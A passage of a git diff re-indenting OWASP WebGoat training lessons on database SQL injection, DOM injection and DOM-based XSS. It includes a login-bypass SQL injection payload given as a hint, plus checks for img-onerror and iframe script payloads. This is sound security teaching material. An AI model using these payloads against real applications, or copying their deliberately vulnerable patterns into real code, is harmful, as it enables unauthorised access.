getAction(LISTSTAFF_ACTION))); + } - /** - * Gets the category attribute of the CrossSiteScripting object - * - * @return The category value - */ - public Category getDefaultCategory() - { - return Category.INJECTION; - } + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.INJECTION; + } - /** - * Gets the hints attribute of the DirectoryScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); - hints - .add("This is the code for the query being built and issued by WebGoat:

" - + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';
" - + "EXECUTE IMMEDIATE stmt INTO v_userid;"); - hints - .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " - + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause"); + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); + hints + .add("This is the code for the query being built and issued by WebGoat:

" + + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';
" + + "EXECUTE IMMEDIATE stmt INTO v_userid;"); + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause"); - // Stage 1 - hints.add("You may need to use OWASP ZAP to remove a field length limit to fit your attack."); - hints.add("Try entering a password of [ ' OR userid=112 OR password=' ]."); + // Stage 1 + hints.add("You may need to use OWASP ZAP to remove a field length limit to fit your attack."); + hints.add("Try entering a password of [ ' OR userid=112 OR password=' ]."); - // Stage 2 - hints.add("Change the Stored procedure to use bind variables."); + // Stage 2 + hints.add("Change the Stored procedure to use bind variables."); - return hints; - } + return hints; + } - @Override - public String[] getStages() - { - if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; - return new String[] { STAGE1 }; - } + @Override + public String[] getStages() + { + if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; + return new String[] { STAGE1 }; + } - /** - * Gets the instructions attribute of the ParameterInjection object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = ""; + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; - if (!getLessonTracker(s).getCompleted()) - { - String stage = getStage(s); - if (STAGE1.equals(stage)) - { - instructions = "Stage 1: Use String SQL Injection to bypass authentication. " - + "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME - + ", who is in the Admin group. " - + "You do not have the password, but the form is SQL injectable. " - + "View the EMPLOYEE_LOGIN stored procedure and see if you can " - + "determine why the exploit exists."; - } - else if (STAGE2.equals(stage)) - { - instructions = "Stage 2: Use bind variables.
" - + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database " - + "to use bind variables, rather than string concatenation. " - + "Repeat the SQL Injection attack. Verify that the attack is no longer effective."; - } - } + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Use String SQL Injection to bypass authentication. " + + "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME + + ", who is in the Admin group. " + + "You do not have the password, but the form is SQL injectable. " + + "View the EMPLOYEE_LOGIN stored procedure and see if you can " + + "determine why the exploit exists."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Use bind variables.
" + + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database " + + "to use bind variables, rather than string concatenation. " + + "Repeat the SQL Injection attack. Verify that the attack is no longer effective."; + } + } - return instructions; - } + return instructions; + } - public void handleRequest(WebSession s) - { - if (s.getLessonSession(this) == null) s.openLessonSession(this); + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) s.openLessonSession(this); - String requestedActionName = null; - try - { - requestedActionName = s.getParser().getStringParameter("action"); - } catch (ParameterNotFoundException pnfe) - { - // Let them eat login page. - requestedActionName = LOGIN_ACTION; - } + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } - if (requestedActionName != null) - { - try - { - LessonAction action = getAction(requestedActionName); - if (action != null) - { - // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + - // action.getActionName()); - if (!action.requiresAuthentication() || action.isAuthenticated(s)) - { - action.handleRequest(s); - // setCurrentAction(s, action.getNextPage(s)); - } - } - else - setCurrentAction(s, ERROR_ACTION); - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("Missing parameter"); - pnfe.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (ValidationException ve) - { - // System.out.println("Validation failed"); - ve.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (UnauthenticatedException ue) - { - s.setMessage("Login failed"); - // System.out.println("Authentication failure"); - ue.printStackTrace(); - } catch (UnauthorizedException ue2) - { - s.setMessage("You are not authorized to perform this function"); - // System.out.println("Authorization failure"); - ue2.printStackTrace(); - } catch (Exception e) - { - // All other errors send the user to the generic error page - // System.out.println("handleRequest() error"); - e.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } - } + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); + if (action != null) + { + // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + + // action.getActionName()); + if (!action.requiresAuthentication() || action.isAuthenticated(s)) + { + action.handleRequest(s); + // setCurrentAction(s, action.getNextPage(s)); + } + } + else + setCurrentAction(s, ERROR_ACTION); + } catch (ParameterNotFoundException pnfe) + { + // System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (ValidationException ve) + { + // System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + // System.out.println("Authentication failure"); + ue.printStackTrace(); + } catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + // System.out.println("Authorization failure"); + ue2.printStackTrace(); + } catch (Exception e) + { + // All other errors send the user to the generic error page + // System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } - // All this does for this lesson is ensure that a non-null content exists. - setContent(new ElementContainer()); - } + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the CrossSiteScripting object - * - * @return The title value - */ - public String getTitle() - { - return "LAB: DB SQL Injection"; - } + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: DB SQL Injection"; + } - @Override - protected boolean getDefaultHidden() - { - String driver = getWebgoatContext().getDatabaseDriver(); - boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); - return hidden; - } + @Override + protected boolean getDefaultHidden() + { + String driver = getWebgoatContext().getDatabaseDriver(); + boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); + return hidden; + } } \ No newline at end of file diff --git a/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/Login.java b/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/Login.java index 7895b76e9..9131b7d55 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/Login.java +++ b/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/Login.java @@ -49,178 +49,178 @@ import org.owasp.webgoat.session.WebSession; public class Login extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException - { - // System.out.println("Login.handleRequest()"); - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException + { + // System.out.println("Login.handleRequest()"); + getLesson().setCurrentAction(s, getActionName()); - List employees = getAllEmployees(s); - setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees); + List employees = getAllEmployees(s); + setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees); - String employeeId = null; - try - { - employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID); - String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD); + String employeeId = null; + try + { + employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID); + String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD); - // Attempt authentication - boolean authenticated = login(s, employeeId, password); + // Attempt authentication + boolean authenticated = login(s, employeeId, password); - if (authenticated) - { - // Execute the chained Action if authentication succeeded. - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - s.setMessage("Login failed"); + if (authenticated) + { + // Execute the chained Action if authentication succeeded. + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + s.setMessage("Login failed"); - } catch (ParameterNotFoundException pnfe) - { - // No credentials offered, so we log them out - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); - } - } + } catch (ParameterNotFoundException pnfe) + { + // No credentials offered, so we log them out + setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); + } + } - public String getNextPage(WebSession s) - { - String nextPage = DBSQLInjection.LOGIN_ACTION; + public String getNextPage(WebSession s) + { + String nextPage = DBSQLInjection.LOGIN_ACTION; - if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); + if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); - return nextPage; + return nextPage; - } + } - public boolean requiresAuthentication() - { - return false; - } + public boolean requiresAuthentication() + { + return false; + } - public boolean login(WebSession s, String userId, String password) - { - boolean authenticated = false; + public boolean login(WebSession s, String userId, String password) + { + boolean authenticated = false; - try - { - String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh! + try + { + String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh! - try - { - CallableStatement statement = WebSession.getConnection(s) - .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - statement.registerOutParameter(1, Types.INTEGER); - statement.setInt(2, Integer.parseInt(userId)); - statement.setString(3, password); - statement.execute(); + try + { + CallableStatement statement = WebSession.getConnection(s) + .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + statement.registerOutParameter(1, Types.INTEGER); + statement.setInt(2, Integer.parseInt(userId)); + statement.setString(3, password); + statement.execute(); - int rows = statement.getInt(1); - if (rows > 0) - { - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); - setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId); - authenticated = true; - if (DBSQLInjection.STAGE1.equals(getStage(s)) - && DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId)) - { - setStageComplete(s, DBSQLInjection.STAGE1); - } - } - else - { + int rows = statement.getInt(1); + if (rows > 0) + { + setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); + setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId); + authenticated = true; + if (DBSQLInjection.STAGE1.equals(getStage(s)) + && DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId)) + { + setStageComplete(s, DBSQLInjection.STAGE1); + } + } + else + { - if (DBSQLInjection.STAGE2.equals(getStage(s))) - { - try - { - String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }"; - statement = WebSession.getConnection(s).prepareCall(call2, - ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.registerOutParameter(1, Types.INTEGER); - statement.setInt(2, Integer.parseInt(userId)); - statement.setString(3, password); - statement.execute(); + if (DBSQLInjection.STAGE2.equals(getStage(s))) + { + try + { + String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }"; + statement = WebSession.getConnection(s).prepareCall(call2, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.registerOutParameter(1, Types.INTEGER); + statement.setInt(2, Integer.parseInt(userId)); + statement.setString(3, password); + statement.execute(); - rows = statement.getInt(1); - if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2); - } catch (SQLException sqle2) - { - } - } - } - } catch (SQLException sqle) - { - s.setMessage("Error logging in: " + sqle.getLocalizedMessage()); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error logging in: " + e.getLocalizedMessage()); - e.printStackTrace(); - } + rows = statement.getInt(1); + if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2); + } catch (SQLException sqle2) + { + } + } + } + } catch (SQLException sqle) + { + s.setMessage("Error logging in: " + sqle.getLocalizedMessage()); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error logging in: " + e.getLocalizedMessage()); + e.printStackTrace(); + } - // System.out.println("Lesson login result: " + authenticated); - return authenticated; - } + // System.out.println("Lesson login result: " + authenticated); + return authenticated; + } - public List getAllEmployees(WebSession s) - { - List employees = new Vector(); + public List getAllEmployees(WebSession s) + { + List employees = new Vector(); - // Query the database for all roles the given employee belongs to - // Query the database for all employees "owned" by these roles + // Query the database for all roles the given employee belongs to + // Query the database for all employees "owned" by these roles - try - { - String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " - + "where employee.userid=roles.userid"; + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " + + "where employee.userid=roles.userid"; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - answer_results.beforeFirst(); - while (answer_results.next()) - { - int employeeId = answer_results.getInt("userid"); - String firstName = answer_results.getString("first_name"); - String lastName = answer_results.getString("last_name"); - String role = answer_results.getString("role"); - EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); - employees.add(stub); - } - } catch (SQLException sqle) - { - s.setMessage("Error getting employees"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employees"); - e.printStackTrace(); - } + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); + employees.add(stub); + } + } catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } - return employees; - } + return employees; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java b/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java index d7b7190b4..2e0190958 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/DOMInjection.java @@ -54,141 +54,141 @@ import org.owasp.webgoat.session.WebSession; public class DOMInjection extends LessonAdapter { - private final static Integer DEFAULT_RANKING = new Integer(10); + private final static Integer DEFAULT_RANKING = new Integer(10); - private final static String KEY = "key"; + private final static String KEY = "key"; - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; + public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); + + private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; - public void handleRequest(WebSession s) - { - try - { - String userKey = s.getParser().getRawParameter(KEY, ""); - String fromAJAX = s.getParser().getRawParameter("from", ""); - if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key)) - { - s.getResponse().setContentType("text/html"); - s.getResponse().setHeader("Cache-Control", "no-cache"); - PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); + public void handleRequest(WebSession s) + { + try + { + String userKey = s.getParser().getRawParameter(KEY, ""); + String fromAJAX = s.getParser().getRawParameter("from", ""); + if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key)) + { + s.getResponse().setContentType("text/html"); + s.getResponse().setHeader("Cache-Control", "no-cache"); + PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); - out.print("document.form.SUBMIT.disabled = false;"); - out.flush(); - out.close(); - return; - } + out.print("document.form.SUBMIT.disabled = false;"); + out.flush(); + out.close(); + return; + } - } catch (Exception e) - { - e.printStackTrace(); - } - Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); + } catch (Exception e) + { + e.printStackTrace(); + } + Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); - form.addElement(createContent(s)); + form.addElement(createContent(s)); - setContent(form); - } + setContent(form); + } - protected Element createContent(WebSession s) - { + protected Element createContent(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - if (s.getRequest().getMethod().equalsIgnoreCase("POST")) - { - makeSuccess(s); - } + if (s.getRequest().getMethod().equalsIgnoreCase("POST")) + { + makeSuccess(s); + } - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; - ec.addElement(new StringElement(script)); - ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:"))); - ec.addElement(new BR() - .addElement("Please enter the license key that was emailed to you to start using the application.")); - ec.addElement(new BR()); - ec.addElement(new BR()); - Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center"); + ec.addElement(new StringElement(script)); + ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:"))); + ec.addElement(new BR() + .addElement("Please enter the license key that was emailed to you to start using the application.")); + ec.addElement(new BR()); + ec.addElement(new BR()); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center"); - TR tr = new TR(); - tr.addElement(new TD(new StringElement("License Key: "))); + TR tr = new TR(); + tr.addElement(new TD(new StringElement("License Key: "))); - Input input1 = new Input(Input.TEXT, KEY, ""); - input1.setID(KEY); - input1.addAttribute("onkeyup", "validate();"); - tr.addElement(new TD(input1)); - t1.addElement(tr); + Input input1 = new Input(Input.TEXT, KEY, ""); + input1.setID(KEY); + input1.addAttribute("onkeyup", "validate();"); + tr.addElement(new TD(input1)); + t1.addElement(tr); - tr = new TR(); - tr.addElement(new TD(" ").setColSpan(2)); + tr = new TR(); + tr.addElement(new TD(" ").setColSpan(2)); - t1.addElement(tr); + t1.addElement(tr); - tr = new TR(); - Input b = new Input(); - b.setType(Input.SUBMIT); - b.setValue("Activate!"); - b.setName("SUBMIT"); - b.setID("SUBMIT"); - b.setDisabled(true); - tr.addElement(new TD(" ")); - tr.addElement(new TD(b)); + tr = new TR(); + Input b = new Input(); + b.setType(Input.SUBMIT); + b.setValue("Activate!"); + b.setName("SUBMIT"); + b.setID("SUBMIT"); + b.setDisabled(true); + tr.addElement(new TD(" ")); + tr.addElement(new TD(b)); - t1.addElement(tr); - ec.addElement(t1); - Div div = new Div(); - div.addAttribute("name", "MessageDiv"); - div.addAttribute("id", "MessageDiv"); - ec.addElement(div); + t1.addElement(tr); + ec.addElement(t1); + Div div = new Div(); + div.addAttribute("name", "MessageDiv"); + div.addAttribute("id", "MessageDiv"); + ec.addElement(div); - return ec; - } + return ec; + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } - protected Category getDefaultCategory() - { + protected Category getDefaultCategory() + { - return Category.AJAX_SECURITY; - } + return Category.AJAX_SECURITY; + } - protected Integer getDefaultRanking() - { + protected Integer getDefaultRanking() + { - return DEFAULT_RANKING; - } + return DEFAULT_RANKING; + } - protected List getHints(WebSession s) - { + protected List getHints(WebSession s) + { - List hints = new ArrayList(); - hints.add("This page is using XMLHTTP to comunicate with the server."); - hints.add("Try to find a way to inject the DOM to enable the Activate button."); - hints.add("Intercept the reply and replace the body with document.form.SUBMIT.disabled = false;"); - return hints; - } + List hints = new ArrayList(); + hints.add("This page is using XMLHTTP to comunicate with the server."); + hints.add("Try to find a way to inject the DOM to enable the Activate button."); + hints.add("Intercept the reply and replace the body with document.form.SUBMIT.disabled = false;"); + return hints; + } - public String getTitle() - { - return "DOM Injection"; - } + public String getTitle() + { + return "DOM Injection"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java b/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java index 767ebdd02..f4a66b220 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java +++ b/src/main/java/org/owasp/webgoat/lessons/DOMXSS.java @@ -22,300 +22,300 @@ import org.owasp.webgoat.session.*; public class DOMXSS extends SequentialLessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - private final static String PERSON = "person"; + private final static String PERSON = "person"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element doStage1(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage1(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - ec.addElement(mainContent(s)); + ec.addElement(mainContent(s)); - if (attackString.toString().toLowerCase().indexOf("img") != -1 - && attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) - { - getLessonTracker(s).setStage(2); - s.setMessage("Stage 1 completed. "); - } + if (attackString.toString().toLowerCase().indexOf("img") != -1 + && attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) + { + getLessonTracker(s).setStage(2); + s.setMessage("Stage 1 completed. "); + } - return (ec); - } + return (ec); + } - protected Element doStage2(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage2(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - ec.addElement(mainContent(s)); + ec.addElement(mainContent(s)); - if (attackString.toString().toLowerCase().indexOf("img") != -1 - && attackString.toString().toLowerCase().indexOf("onerror") != -1 - && attackString.toString().toLowerCase().indexOf("alert") != -1) - { - getLessonTracker(s).setStage(3); - s.setMessage("Stage 2 completed. "); - } - else - { - s.setMessage("Only <img onerror... attacks are recognized for success criteria"); - } + if (attackString.toString().toLowerCase().indexOf("img") != -1 + && attackString.toString().toLowerCase().indexOf("onerror") != -1 + && attackString.toString().toLowerCase().indexOf("alert") != -1) + { + getLessonTracker(s).setStage(3); + s.setMessage("Stage 2 completed. "); + } + else + { + s.setMessage("Only <img onerror... attacks are recognized for success criteria"); + } - return (ec); - } + return (ec); + } - protected Element doStage3(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage3(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - ec.addElement(mainContent(s)); + ec.addElement(mainContent(s)); - if (attackString.toString().toLowerCase().indexOf("iframe") != -1 - && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) - { - getLessonTracker(s).setStage(4); - s.setMessage("Stage 3 completed."); - } else if (attackString.toString().toLowerCase().indexOf("iframe") != -1 - && attackString.toString().toLowerCase().indexOf("onload") != -1 - && attackString.toString().toLowerCase().indexOf("alert") != -1) - { - getLessonTracker(s).setStage(3); - s.setMessage("Stage 3 completed. "); - } - else - { - s.setMessage("Only <iframe javascript/onload... attacks are recognized for success criteria"); - } - return (ec); - } + if (attackString.toString().toLowerCase().indexOf("iframe") != -1 + && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) + { + getLessonTracker(s).setStage(4); + s.setMessage("Stage 3 completed."); + } else if (attackString.toString().toLowerCase().indexOf("iframe") != -1 + && attackString.toString().toLowerCase().indexOf("onload") != -1 + && attackString.toString().toLowerCase().indexOf("alert") != -1) + { + getLessonTracker(s).setStage(3); + s.setMessage("Stage 3 completed. "); + } + else + { + s.setMessage("Only <iframe javascript/onload... attacks are recognized for success criteria"); + } + return (ec); + } - protected Element doStage4(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage4(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - ec.addElement(mainContent(s)); + ec.addElement(mainContent(s)); - if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1 - && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) - { - getLessonTracker(s).setStage(5); - s.setMessage("Stage 4 completed."); - } + if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1 + && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) + { + getLessonTracker(s).setStage(5); + s.setMessage("Stage 4 completed."); + } - return (ec); - } + return (ec); + } - protected Element doStage5(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage5(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - ec.addElement(mainContent(s)); + ec.addElement(mainContent(s)); - /** - * They pass iff: - * - * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" - */ - String file = s.getWebResource("lessonJS/DOMXSS.js"); - String content = getFileContent(file); + /** + * They pass iff: + * + * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" + */ + String file = s.getWebResource("lessonJS/DOMXSS.js"); + String content = getFileContent(file); - if (content.indexOf("escapeHTML(name)") != -1) - { - makeSuccess(s); - } + if (content.indexOf("escapeHTML(name)") != -1) + { + makeSuccess(s); + } - return ec; - } + return ec; + } - protected ElementContainer mainContent(WebSession s) - { - StringBuffer attackString = null; + protected ElementContainer mainContent(WebSession s) + { + StringBuffer attackString = null; - ElementContainer ec = new ElementContainer(); - try - { + ElementContainer ec = new ElementContainer(); + try + { - ec.addElement(new Script().setSrc("lessonJS/DOMXSS.js")); + ec.addElement(new Script().setSrc("lessonJS/DOMXSS.js")); - ec.addElement(new Script().setSrc("lessonJS/escape.js")); + ec.addElement(new Script().setSrc("lessonJS/escape.js")); - ec.addElement(new H1().setID("greeting")); + ec.addElement(new H1().setID("greeting")); - ec.addElement(new StringElement("Enter your name: ")); + ec.addElement(new StringElement("Enter your name: ")); - attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - Input input = new Input(Input.TEXT, PERSON, attackString.toString()); - input.setOnKeyUp("displayGreeting(" + PERSON + ".value)"); - ec.addElement(input); - ec.addElement(new BR()); - ec.addElement(new BR()); + Input input = new Input(Input.TEXT, PERSON, attackString.toString()); + input.setOnKeyUp("displayGreeting(" + PERSON + ".value)"); + ec.addElement(input); + ec.addElement(new BR()); + ec.addElement(new BR()); - Element b = ECSFactory.makeButton("Submit Solution"); - ec.addElement(b); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return ec; + Element b = ECSFactory.makeButton("Submit Solution"); + ec.addElement(b); + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return ec; - } + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new 